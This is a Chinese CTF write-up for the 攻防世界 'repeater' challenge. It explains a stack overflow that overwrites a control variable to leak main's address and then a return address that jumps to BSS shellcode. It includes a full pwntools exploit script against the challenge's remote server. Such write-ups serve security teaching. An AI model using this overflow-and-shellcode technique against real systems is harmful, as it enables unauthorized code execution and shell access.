攻防世界 repeater 題解
查看程式保護情況,開啟了PIE,沒開NX,RELRO全開,

在ida64中打開分析程式,這道題程式比較簡單,可以發現的資訊如下:
-
字符陣列
s大小為0x20,但可以讀入0x40的長度,起始于rbp-30h處(見紅框) -
變數
v5可以控制回圈、條件控制輸出main函式地址,該變數位于rbp-20h字符陣列s空間后(見粉框) -
通過字串
s溢位可控制變數v5的值及函式回傳地址 -
程式運行起始可輸入資料到記憶體BSS段(見藍框)

根據這些資訊,這道題的思路就出來了:
-
程式起始運行,提示輸入
name時,輸入一段shellcode(將存盤到byte_202040處) -
通過字串
s溢位控制變數v5的值為3281697,從而泄露出main函式地址 -
通過
main函式地址及byte_202040與main地址偏移,獲得shellcode代碼地址 -
構造溢位輸入,覆寫回傳地址,使程式跳轉到
shellcode執行,獲得系統shell
這道題還是非常簡單的,只是我在做的時候shellcode沒選對,導致一直沒利用成功(忘記改arch值),
下面是這道題的完整代碼:
from pwn import *
sh = remote('61.147.171.105',50187)
# 通過輸入name向BSS段寫入shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
sh.sendlineafter('name :',shellcode)
# 通過輸入內容溢位修改控制變數值,泄露main地址
num = 3281697
payload = b'A'*0x20 + p64(num)
sh.sendlineafter('input :',payload)
sh.recvuntil('you :\n0x')
main_addr = int(sh.recv(12),16)
# 再次通過輸入內容溢位,將函式回傳地址改為shellcode地址
shellcode_addr = main_addr + 0x202040 - 0xa33
payload2 = b'A'*0x20 + p64(0x1) + b'B'*16 + p64(shellcode_addr)
sh.sendlineafter('input :',payload2)
sh.interactive()
執行結果如圖:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/504432.html
標籤:其他
上一篇:Sourcetree 如何關聯自己的gitlab倉庫
下一篇:滑動視窗
